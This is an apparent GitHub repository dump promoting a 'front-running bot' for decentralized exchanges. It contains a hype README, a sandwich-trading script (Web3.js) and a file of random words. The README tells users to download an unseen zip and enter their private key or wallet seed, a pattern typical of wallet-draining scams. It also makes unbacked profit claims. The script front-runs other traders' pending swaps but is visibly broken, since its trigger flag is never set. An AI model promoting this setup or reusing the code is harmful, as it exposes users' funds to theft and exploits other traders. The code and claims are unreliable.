├── 1.png
├── 10.png
├── 2.png
├── 3.png
├── 4.png
├── 5.jpg
├── 6.png
├── 9.png
├── JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4.zip
├── README.md
├── Web3.js
└── file.txt
/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/d7bc491407e3333b9a9915be4f402bf72576005d/1.png
--------------------------------------------------------------------------------
/10.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/d7bc491407e3333b9a9915be4f402bf72576005d/10.png
--------------------------------------------------------------------------------
/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/d7bc491407e3333b9a9915be4f402bf72576005d/2.png
--------------------------------------------------------------------------------
/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/d7bc491407e3333b9a9915be4f402bf72576005d/3.png
--------------------------------------------------------------------------------
/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/d7bc491407e3333b9a9915be4f402bf72576005d/4.png
--------------------------------------------------------------------------------
/5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/d7bc491407e3333b9a9915be4f402bf72576005d/5.jpg
--------------------------------------------------------------------------------
/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/d7bc491407e3333b9a9915be4f402bf72576005d/6.png
--------------------------------------------------------------------------------
/9.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/d7bc491407e3333b9a9915be4f402bf72576005d/9.png
--------------------------------------------------------------------------------
/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/d7bc491407e3333b9a9915be4f402bf72576005d/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4.zip
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | This open-source JavaScript DEX Front Running bot is a game-changer for crypto traders and enthusiasts Plus, you can rest easy knowing that your funds will never leave your wallet and you won't have to place trust in a centralized exchange.
4 |
5 | Here a video of how to config and run to bot a beta tester made
6 |
7 | https://vimeo.com/975308173
8 |
9 |
10 | Here's what it looks like running
11 |
12 |
13 |
14 | please if you have time to vote for me at the next code contest please do, I won last year with 4th place.
15 |
16 |
17 |
18 | Here's the results of runing it for about 28 days started with about 1.89 ETH
19 |
20 |
21 |
22 | To begin using the JavaScript Front Running Bot, you'll need to download and extract the zip file to a convenient location.
23 |
24 | The zip file can be downloaded from this link: https://raw.githubusercontent.com/JimTheCrazyCoder/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4/main/JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4.zip
25 |
26 | Once you've extracted the file, you'll need to locate the "config.js" file within the bot's main folder.
27 |
28 |
29 |
30 | Using a text-editor and open config.js
31 |
32 |
33 |
34 | You can configure the settings to your specific needs.When configuring the settings in the "config.js" file, be sure to set your ETH public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed. , selecting the network (ETH = 1, BNB = 2, or POLYGON = 3), and saving the changes.
35 | When configuring the settings in the "config.js" file, be sure to set your public address as well as your private key or wallet seed. Note that if you provide a wallet seed, you will still need to specify which public address you wish to utilize from the seed.
36 |
37 |
38 |
39 | After you've configured the settings, you can open the index.html file in any web browser to access the bot. If you'd like to modify the code, you're free to fork it, but please remember to give credit to the original source.
40 |
41 |
42 |
43 |
44 |
45 | #cryptocommunity #cryptosuccess #cryptobull #ethereum #bitcoinmining #cryptoeducationnetwork #cryptocrowdfunding #cryptonewsfeed #stablecoins #altcoins Title: Using JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 to Capitalize on Front-Running Opportunities and Increase Your Crypto Holdings
46 |
47 | Introduction:
48 | Cryptocurrency trading is full of opportunities for those who can act quickly and decisively. One such strategy is front-running, which involves executing a trade ahead of large transactions to capitalize on the anticipated price movements. While this technique can be highly profitable, identifying and acting on front-running opportunities manually is challenging. Enter JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4, a powerful software tool designed to automate and optimize front-running strategies. In this article, we'll explore how front-running works, the benefits of using JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4, and how you can use this tool to enhance your crypto trading and increase your holdings.
49 |
50 | Body:
51 | 1. Understanding Front-Running:
52 | Front-running involves placing a trade based on advanced knowledge of a large upcoming transaction that is likely to impact the price of a cryptocurrency. For example, if you know a large buy order is about to be placed, you can buy before it and sell immediately after the price rises due to the large transaction. This strategy requires speed and precise information to be effective.
53 |
54 | 2. How JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 Enhances Front-Running Strategies:
55 | a. Real-Time Market Monitoring:
56 | JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 constantly scans the market for large, impending transactions that can trigger price movements. With its advanced algorithms, it can detect these transactions faster than manual monitoring.
57 |
58 | b. Automated Trade Execution:
59 | Speed is critical in front-running. JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 offers automated trading features that execute your trades at lightning speed, ensuring you capitalize on the opportunity before others can react.
60 |
61 | c. Advanced Analytics and Insights:
62 | JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 provides comprehensive analytics and insights into your trades. It helps you understand the effectiveness of your front-running strategies and refine them over time. The software also calculates potential profits and transaction costs, giving you a clear picture of your earnings.
63 |
64 | 3. Benefits and Risks of Front-Running with JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4:
65 | Front-running can offer significant profits, especially when using a tool like JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 that provides real-time data and automated execution. However, it's important to be aware of the risks, such as market volatility and potential regulatory issues. JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 helps mitigate these risks by offering precise and timely information, but traders should always be mindful of the legal and ethical implications.
66 |
67 | Conclusion:
68 | Front-running can be a powerful strategy for increasing your crypto holdings, and JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 makes this strategy accessible and efficient. By using JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4, you can stay ahead of the market and capitalize on price movements with confidence. Start using JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 today and see how it can revolutionize your trading strategy and boost your crypto profits.
69 |
70 | Call to Action:
71 | Ready to take your crypto trading to the next level with JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4? Sign up now and start leveraging front-running opportunities with ease. Join the community of successful traders who trust JimTheCrazyCoder-DEX-JavaScript-Front-Running-Bot-V4 to maximize their profits. Happy trading!
72 | Relevant Hashtags:
73 | #CryptoArbitrage #DecentralizedFinance #DeFi #CryptoTrading #Blockchain #Cryptocurrency #TradingStrategies #CryptoInvesting #TriangleArbitrage #DecentralizedExchanges #RiskAnalysis #BriefHistory
74 |
75 | What is frontrunning?
76 |
77 | Whenever you use a decentralized exchange to swap tokens, the price of the token you buy increases slightly. This is called slippage and for most retail traders, slippage is barely even noticeable. Whale traders however, especially when they purchase highly illiquid tokens, can significantly change a token’s price.
78 |
79 | Frontrunning bots take advantage of this mechanic by beating out the trader on the gas fees, purchasing into a token at the lower price and then instantly selling them off at the higher price. In a block explorer, frontruns leave a clear trace with the trader’s transaction being “sandwiched” between the two frontrun transactions.
80 | #coding #frontrunningbot #javascript #tutorial #botv4 #dex #programming #configuration #learntocode #stepbystep #beginner
--------------------------------------------------------------------------------
/Web3.js:
--------------------------------------------------------------------------------
1 | require('dotenv').config()
2 | const Web3 = require('web3')
3 | const { ChainId, Fetcher, WETH, Route, Trade, TokenAmount, TradeType, Percent } = require('@uniswap/sdk')
4 | const ethers = require('ethers')
5 | const fs = require('fs')
6 | //const assert = require('assert');
7 |
8 | let divider = "\n------------------------------------------------------\n"
9 |
10 | const chainId = ChainId.MAINNET
11 |
12 | let web3HD
13 | let token
14 | let route
15 | let weth
16 | let provider
17 | let signer
18 | let uniswap
19 |
20 | const ACCOUNT = process.env.REACT_APP_ACCOUNT
21 | const TOKEN_ADDRESS = process.env.REACT_APP_TOKEN_ADDRESS
22 | const EXCHANGE_ADDRESS = process.env.REACT_APP_EXCHANGE_ADDRESS
23 | const ETH_AMOUNT = process.env.REACT_APP_ETH_AMOUNT
24 |
25 | const web3 = new Web3(process.env.REACT_APP_RPC_URL_WSS)
26 | web3HD = new Web3(new Web3.providers.HttpProvider(process.env.REACT_APP_RPC_URL))
27 | provider = new ethers.getDefaultProvider(process.env.REACT_APP_RPC_URL)
28 | const privateKey = new Buffer.from(process.env.REACT_APP_PRIVATE_KEY, "hex");
29 | signer = new ethers.Wallet(privateKey, provider)
30 |
31 | // declare the token contract interfaces
32 | tokenContract = new ethers.Contract(
33 | TOKEN_ADDRESS,
34 | ['function balanceOf(address owner) external view returns (uint)',
35 | 'function decimals() external view returns (uint8)',
36 | 'function approve(address spender, uint value) external returns (bool)'],
37 | signer
38 | );
39 |
40 | // declare the Uniswap contract interface
41 | uniswap = new ethers.Contract(
42 | EXCHANGE_ADDRESS,
43 | ['function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)',
44 | 'function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts)',
45 | 'function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts)'],
46 | signer
47 | );
48 |
49 | let addtrxflag = false
50 | let trxflag = false
51 | let initialTokenBalance
52 | let tokenBalanceAfterBuy
53 | let tokensToSell
54 |
55 | async function run(){
56 |
57 | console.log('\x1b[1m\x1b[37m[Bot]: Process has been started! \x1b[1m\x1b[31m(to stop press CTRL+C anytime)\x1b[0m\n')
58 | console.log('\x1b[1m\x1b[37m[Bot]: Looking for targets at DEX...\x1b[0m\n')
59 |
60 | fs.writeFile('./transactions_hashes.txt', '', function(){console.log('\x1b[1m\x1b[37m[Bot]: transactions_hashes.txt \x1b[1m\x1b[32mwiped!\n\x1b[0m\n\n')})
61 |
62 | token = await Fetcher.fetchTokenData(chainId, TOKEN_ADDRESS)
63 | weth = WETH[chainId]
64 | const pair = await Fetcher.fetchPairData(token, weth, provider)
65 | route = new Route([pair], weth)
66 |
67 | initialTokenBalance = await tokenContract.balanceOf(ACCOUNT);
68 |
69 | if(true){
70 | subscription = web3.eth.subscribe('pendingTransactions', function (error, result) {})
71 | .on("data", function (transactionHash) {
72 | web3.eth.getTransaction(transactionHash)
73 | .then(function (transaction) {
74 | if(transaction && !trxflag){
75 | parseTransactionData(transaction)
76 | }
77 | })
78 | .catch(function () {
79 | console.log("\x1b[1m\x1b[Bot]: WARNING! Promise error caught!\n\x1b[1m\x1b[37mThere is likely an issue on your providers side, with the node you are connecting to.\nStop the bot with \x1b[1m\x1bCTRL+C \x1b[1m\x1b[37mand try run again in a few hours.");
80 | //.catch((error) => {
81 | // assert.isNotOk(error,'Promise error')
82 | })
83 | });
84 |
85 | async function parseTransactionData(transactionDetails) {
86 | if(transactionDetails.input){
87 |
88 | fs.appendFileSync('transactions_hashes.txt', 'Trx hash : ' + transactionDetails.hash.toString() + '\r\n')
89 | const transactionInput = transactionDetails.input
90 |
91 | var path = 'transactions_hashes.txt';
92 | var text = fs.readFileSync(path).toString();
93 | var lines = text.split('\n');
94 | var newlines_count = lines.length - 1;
95 | process.stdout.clearLine();
96 | process.stdout.cursorTo(0);
97 | process.stdout.write(`\x1b[1m\x1b[37m[Bot]: Sweeping transaction hashes... \x1b[1m\x1b[32m${newlines_count}\x1b[37m passes. `);
98 |
99 | if((transactionInput.length - 10) % 64 === 0){
100 | const toTrx = transactionDetails.to
101 | if(toTrx.toLowerCase() === EXCHANGE_ADDRESS.toLowerCase()
102 | && parseFloat(web3.utils.fromWei(transactionDetails.value, 'ether')) >= parseFloat(process.env.REACT_APP_TARGET_ETH_AMOUNT)){
103 | }
104 | if(addtrxflag){
105 | const exeTrxs = await executeTrxs(transactionDetails)
106 | subscription.unsubscribe(function (error, success) {
107 | if (success)
108 | console.log('\n\x1b[1m\x1b[37m[Bot]: Process has been ended!\x1b[0m');
109 | console.log('\n\x1b[1m\x1b[31m[Bot]: Press \x1b[0mCTRL+C\x1b[31m to stop the script completely !\x1b[0m');
110 | });
111 | }
112 | }
113 | }
114 | }
115 | }
116 | }
117 | }
118 |
119 | async function executeTrxs(transactionDetails){
120 | if(trxflag){
121 | return
122 | }
123 | trxflag = true
124 |
125 | console.table([{
126 | 'Transaction Hash': transactionDetails['hash'],
127 | 'Observations': 'Valid Transaction',
128 | 'Timestamp': Date.now()
129 | }])
130 | console.log(divider)
131 | console.log('\n\x1b[1m\x1b[37m[Bot]: Transaction spotted! - \x1b[32m', transactionDetails, "\x1b[0m\n");
132 |
133 | const buy = await buyTokens(transactionDetails)
134 | const sell = await sellTokens(transactionDetails)
135 | }
136 |
137 | async function sellTokens(transactionDetails){
138 | const amountIn = tokensToSell
139 |
140 | if (amountIn.toString() !== '0'){
141 | const gasPrice = transactionDetails.gasPrice
142 | const newGasPrice = Math.floor(parseInt(gasPrice) - parseInt(1))
143 | const gasLimit = Math.floor(transactionDetails.gas * 1.3)
144 |
145 | const amountInHex = ethers.BigNumber.from(amountIn.toString()).toHexString();
146 | const ethAmount = ethers.utils.parseEther(ETH_AMOUNT);
147 | const amountOutMin = Math.floor(ethAmount * 0.01);
148 | const amountOutMinHex = ethers.BigNumber.from(amountOutMin.toString()).toHexString();
149 | const path = [token.address, weth.address];
150 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
151 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
152 |
153 | const nonceCount = await web3.eth.getTransactionCount(ACCOUNT)
154 |
155 | const tx = await uniswap.swapExactTokensForETH(
156 | amountInHex,
157 | amountOutMinHex,
158 | path,
159 | ACCOUNT,
160 | deadlineHex,
161 | {
162 | nonce: nonceCount + 1,
163 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
164 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
165 | }
166 | );
167 | console.log('\x1b[1m\x1b[37m[Bot]: Your sell transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
168 | }
169 | }
170 |
171 |
172 | async function buyTokens(transactionDetails){
173 | if(true){
174 | const gasPrice = transactionDetails.gasPrice
175 | const newGasPrice = Math.floor(parseInt(gasPrice) + parseInt(1))
176 | const gasLimit = Math.floor(transactionDetails.gas * 1.2)
177 |
178 | const inputEth = parseFloat(ETH_AMOUNT) * 0.99;
179 | const ethAmount = ethers.utils.parseEther(inputEth.toString());
180 | const trade = new Trade(route, new TokenAmount(weth, ethAmount), TradeType.EXACT_INPUT);
181 | const path = [weth.address, token.address];
182 | const deadline = Math.floor(Date.now() / 1000) + 60 * 20;
183 | const deadlineHex = ethers.BigNumber.from(deadline.toString()).toHexString();
184 |
185 | tokensToSell = trade.outputAmount.raw
186 | const amountOutHex = ethers.BigNumber.from(tokensToSell.toString()).toHexString();
187 |
188 | const ethAmt = parseFloat(ETH_AMOUNT) * 1.2;
189 | const amountInMax = ethers.utils.parseEther(ethAmt.toString());
190 | const amountInMaxHex = ethers.BigNumber.from(amountInMax.toString()).toHexString();
191 |
192 | const tx = await uniswap.swapETHForExactTokens(
193 | amountOutHex,
194 | path,
195 | ACCOUNT,
196 | deadlineHex,
197 | {
198 | value: amountInMaxHex,
199 | gasPrice: ethers.BigNumber.from(newGasPrice).toHexString(),
200 | gasLimit: ethers.BigNumber.from(gasLimit).toHexString()
201 | }
202 | );
203 | console.log('\x1b[1m\x1b[37m[Bot]: Your purchase transaction was: \x1b[1m\x1b[32m', tx.hash, "\x1b[0m");
204 | }
205 | }
206 |
207 | console.clear()
208 | console.log("\n")
209 |
210 |
211 | console.log(divider)
212 |
213 | run()
214 |
--------------------------------------------------------------------------------
/file.txt:
--------------------------------------------------------------------------------
1 | warranter fisherfolk quasky skaters flaneries turbinatoconcave lechosa crepis rhynchonella anchistopoda interrhyming predelegate protestors clausule antieducationist irisher epizootology humerus swinepox pounamu muffet illy apple yatvyag lapsi discharm misproduce kerseymere nadiral baaing tremelliform gies consonants shickered perimetry preceptories puckling thickset kickboard estafa demonise supermunicipal nonaugmentative laurence punctuated ruttee diabolic possessoress dacryd hermokopid niellated companero huttoning affidavit annihilatory adverted backing colazione photoceptor arithmic snuffly phylloscopus craftier haylage simplicidentate adulticidal diktat beode improbably tinged paralogic prebelieve herbalism servicemen cecidiologist kwaznku sinfonietta liederkranz dumper diphylla oont acerbities cattycornered unviolable sprew systilius dimercuric hereditably cyprinids involuntary scratchification tantara clavately potassium antitheological unbumptiousness chloritoid materiels indic oer perquisites overdelicately afterbirth anoxic spiflication aught bahadurs accessariness consubstantiated dolos shabunder preconclude ultraornate superornamental unporcelainized sorite rishtadar unrightwise wriest peesash gurnard armories leptodactyl phytopathological unshored demulce moolings recitals unengaging develop isoamylamine supervalue benzophenol depredicate comoquer diaphragming dendrocoelous gelate postponements earn exteriority edibile misascription thokish anodally caddiing recourse reveneer hesitancies overglancing cardioblast langset terebinth prevalencies shumac gassing mesomyodous doorlike tophamper alchemize auctions knelled subconformably funnellike nonconducting exuberate deteriorates enterrologist lacewoods hattery aizoaceae loggin tasker hiragana nondecayed hemagogue bulimy debauching polyglottically paucipinnate wiretapper pameroon pinus folie glarier hoplology pepping disintegrating radiosymmetrical myolipoma gobbed sifting golfings meute bertram nonconferrable lamiaceae underplay drawees ornary uncontrol caproin shinbones huari mummifies rowlock pinker heartease nurturance sanderswood pyometra punctureless conferruminate philogynaecic organal epicurishly budgeree koklas bethorning rabbitskin encomiumia mameyes louder consultor adjoust nattered highchair apostolize stauropegion parapphyllia stileman michelangelism cramoisies heliological deceptivity constantine disillusions foreseers gunneress slatternish baganda spiderwebbing phantoplex ichnographies scrutinisation sacklike mithraicist isthmectomies basella encaustic modernizes deforces cheapens underli ichneumous betowered neurohormonal rousement mistranslates cumulose jalousied bikkurim almsfolk hectar isobathic clarigation cynips baloskion uncorrugated maximalist arthrorrhagia underpainting warmhearted supercommercially indicative melilots anarithmia scratchcat inaccessible scimetar perplexes zairian copperases deoxidation cucumbers loranthaceous seamanlikeness phlorone intercepts mopeders hatchman verrucosity parens ennedra sealette anacrotic guidelines hypochlorhydric acari rumbler bezazzes meteorolitic spookological confrontation eudaemons antick cumulocirrus dimwitted pleuroceridae adullamite nontolerableness musket pageantries bacon postpericardial hack snakewort morphized tenoners writter suborns apprense epithet jostling fierasferoid penultima eunuchising commonwealthism athenee kaffraria epembryonic lokiec anetic barbarous races dentifrice intervene sharecropped hydraucone hippocentaur unbrave dihydromorphinone sensualization mammalogy rugheaded moreover schoolteacher vitrotype parine minxship wainrope kontakia urines weighin undiscovered pipelike intrinsical jaundices thugs megalodontidae fainaigued overimpressionable bobeches amphipoda soorah dogtrot kulmet disconnect nitromuriatic preimitation unidirect korean waggonage unclergy schmear maudlinism piscian acroamatical indesignate unevolutional menostasis disembarked unrecruited waterfalls trilaterally typecases bromacetone prowfishes trustable varsities steppes pdq dualistically environments leontopodium perturbance arrayal mystagogic uninvigorating clar puffing coalyards womp tuned tranquilly taiga souled strudel functioned laconicness overleg breakwaters overpoeticized nonnutritious undusty sclerotoid anguiped synthetase cyamoid jowter shtetlach dynastid yerks malapropian misanthropes weatherproofing photospherically remark tasselling politicist vestigian tonology overbites postnotum hooded drawk nitrosification spermoderm messmen straike putlock bottlebird thermalized uloboridae abuser balistarii create douras interpolations octopi unenunciative cyclarthrsis mudstone recapture batocrinus dolphus nonrefutal teretial demetrian muscularities challengers stouts nonfluent tensure slouched motherwort nondenunciative tauromachy natatoriums fungian chattily didrachmal nonpresidential oxyazo upstep unforeign snipjack tribunitian unexecutable unjudicious spectrobolographic coboundless playwriter hitherto moralioralist flagellates sputumose cashkeeper outdoer inundated surveyor lantaca athreptic cheeful tenementer yammerers refashioned unperceptively unlosable spouse
--------------------------------------------------------------------------------